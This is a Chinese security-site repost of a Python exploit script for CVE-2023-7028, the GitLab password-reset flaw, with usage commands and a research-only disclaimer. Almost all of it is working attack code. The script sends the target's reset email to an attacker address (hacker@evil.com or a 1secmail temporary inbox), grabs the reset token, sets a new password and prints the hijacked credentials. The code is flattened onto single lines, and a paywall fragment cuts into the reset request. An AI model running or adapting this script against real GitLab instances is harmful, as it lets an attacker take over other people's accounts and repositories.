GitLab任意用户密码重置漏洞验证脚本 CVE-2023-7028

admin 2024年1月14日21:33:31评论37 views字数 6119阅读20分23秒阅读模式

GitLab任意用户密码重置漏洞验证脚本 CVE-2023-7028

脚本使用方法一:

python3 CVE-2023-7028.py -u https://gitlab.example.com -t targetEmail@example.com

脚本使用方法二:

python3 CVE-2023-7028.py -u https://gitlab.example.com -t targetEmail@example.com -e hacker@evil.com

脚本:

import requestsimport argparsefrom urllib.parse import urlparse, urlencodefrom random import choicefrom time import sleepimport rerequests.packages.urllib3.disable_warnings()class OneSecMail_api:    def __init__(self):        self.url = "https://www.1secmail.com"        self.domains = []    def get_domains(self):        print('[DEBUG] Scrapping available domains on 1secmail.com')        html = requests.get(f'{self.url}').text        pattern = re.compile(r'<option value="([a-z.1]+)" data-prefer')        self.domains = pattern.findall(html)        print(f'[DEBUG] {len(self.domains)} domains found')    def get_email(self):        print('[DEBUG] Getting temporary mail')        if self.domains == []:            self.get_domains()        if self.domains == []:            return None        name = ''.join([choice('abcdefghijklmnopqrstuvwxyz0123456789') for _ in range(10)])        domain = choice(self.domains)        mail = f'{name}@{domain}'        print(f'[DEBUG] Temporary mail: {mail}')        return mail    def get_mail_ids(self, name, domain):        print(f'[DEBUG] Getting last mail for {name}@{domain}')        html = requests.post(f'{self.url}/mailbox',                             verify=False,                             data={                                 'action': 'getMessages',                                 'login': name,                                 'domain': domain                             }).text        pattern = re.compile(r'<a href="/mailbox/?action=readMessageFull&(.*?)">')        mails = pattern.findall(html)        return mails    def get_last_mail(self, mail):        name, domain = mail.split('@')        mails = self.get_mail_ids(name, domain)        print(f'[DEBUG] {len(mails)} mail(s) found')        if mails == []:            return None        print(f'[DEBUG] Reading the last one')        html = requests.get(f'{self.url}/mailbox/?action=readMessageFull&{mails[0]}', verify=False).text        content = html.split('<div id="messageBody">')[1].split('<div id="end1sMessageBody">')[0]        return contentclass CVE_2023_7028:    def __init__(self, url, target, evil=None):        self.use_temp_mail = False        self.mail_api = OneSecMail_api()        self.url = urlparse(url)        self.target = target        self.evil = evil        self.s = requests.session()        if self.evil is None:            self.use_temp_mail = True            self.evil = self.mail_api.get_email()            if not self.evil:                print('[DEBUG] Failed ... quitting')                exit()    def get_authenticity_token(self, code=''):        try:            print('[DEBUG] Getting authenticity_token ...')            endpoint = f'/users/password/edit?reset_password_token={code}'            html = self.s.get(f'{self.url.scheme}://{self.url.netloc}/{endpoint}', verify=False).text            regex = r'<input type="hidden" name="authenticity_token" value="(.*?)" autocomplete="off" />'            token = re.findall(regex, html)[0]            print(f'[DEBUG] authenticity_token = {token}')            return token        except Exception:            print('[DEBUG] Failed ... quitting')            return None    def get_csrf_token(self):        try:            print('[DEBUG] Getting authenticity_token ...')            html = self.s.get(f'{self.url.scheme}://{self.url.netloc}/users/password/new', verify=False).text            regex = r'<meta name="csrf-token" content="(.*?)" />'            token = re.findall(regex, html)[0]            print(f'[DEBUG] authenticity_token = {token}')            return token        except Exception:            print('[DEBUG] Failed ... quitting')            return None    def ask_reset(self):        token = self.get_csrf_token()        if not token:            return False        query_string = urlencode({            'authenticity_token': token,            'user[email][]': [self.target, self.evil]        }, doseq=True)        head = {            'Origin': f'{self.url.scheme}://{self.url.netloc}',            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',            'Content-Type': 'application/x-www-form-urlencoded',            'Referer': f'{self.url.scheme}://{self.url.netloc}/users/password/new',            'Connection': 'close',            'Accept-Language': 'en-US,en;q=0.5',            'Accept-Encoding': 'gzip, deflate, br'        }        print('[DEBUG] Sending reset password request')        html = self.s.post(f'{self.url.scheme}://{self.url.netloc}/users/password',                           data=query_string,                           headers=head,                           verify=False).text        sended = 'If your email address exists in our database' in html        if sended:            print(f'[DEBUG] Emails sended to {self.target} and {self.evil} !')        else:            print('[DEBUG] Failed ... quitting')        return sended    def parse_email(self, content):        try:            pattern = re.compile(r'/users/password/edit?reset_password_token=(.*?)"')            token = pattern.findall(content)[0]            return token        except:            return None    def get_code(self, max_attempt=5, delay=7.5):        if not self.use_temp_mail:            url = input('tInput link received by mail: ')            pattern = re.compile(r'(https?://[^"]+/users/password/edit?reset_password_token=([^"]+))')            match = pattern.findall(url)            if len(match) != 1:                return None            return match[0][1]        else:            for k in range(1, max_attempt+1):                print(f'[DEBUG] Waiting mail, sleeping for {str(delay)} seconds')                sleep(delay)                print(f'[DEBUG] Getting link using temp-mail | Try N°{k} on {max_attempt}')                last_email = self.mail_api.get_last_mail(self.evil)                if last_email is not None:                    code = self.parse_email(last_email)                    return code    def reset_password(self, password):        code = self.get_code()        if not code:            print('[DEBUG] Failed ... quitting')            return False        print('[DEBUG] Generating new password')        charset = 'abcdefghijklmnopqrstuvwxzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'        if password is None:            password = ''.join(choice(charset) for _ in range(20))        authenticity_token = self.get_authenticity_token(code)        if authenticity_token is None:            return False        print(f'[DEBUG] Changing password to {password}')        html = self.s.post(f'{self.url.scheme}://{self.url.netloc}/users/password',                           verify=False,                           data={                               '_method': 'put',                               'authenticity_token': authenticity_token,                               'user[reset_password_token]': code,                               'user
		
输入密码查看隐藏内容

'
: password,
'user[password_confirmation]': password }).text success = 'Your password has been changed successfully.' in html if success: print('[DEBUG] CVE_2023_7028 succeed !') print(f'tYou can connect on {self.url.scheme}://{self.url.netloc}/users/sign_in') print(f'tUsername: {self.target}') print(f'tPassword: {password}') else: print('[DEBUG] Failed ... quitting')def parse_args(): parser = argparse.ArgumentParser(add_help=True, description='This tool automates CVE-2023-7028 on gitlab') parser.add_argument("-u", "--url", dest="url", type=str, required=True, help="Gitlab url") parser.add_argument("-t", "--target", dest="target", type=str, required=True, help="Target email") parser.add_argument("-e", "--evil", dest="evil", default=None, type=str, required=False, help="Evil email") parser.add_argument("-p", "--password", dest="password", default=None, type=str, required=False, help="Password") return parser.parse_args()if __name__ == '__main__': args = parse_args() exploit = CVE_2023_7028( url=args.url, target=args.target, evil=args.evil ) if not exploit.ask_reset(): exit() exploit.reset_password(password=args.password)

原文始发于微信公众号(赛哈文):GitLab任意用户密码重置漏洞验证脚本 CVE-2023-7028

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月14日21:33:31
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   GitLab任意用户密码重置漏洞验证脚本 CVE-2023-7028https://cn-sec.com/archives/2392158.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息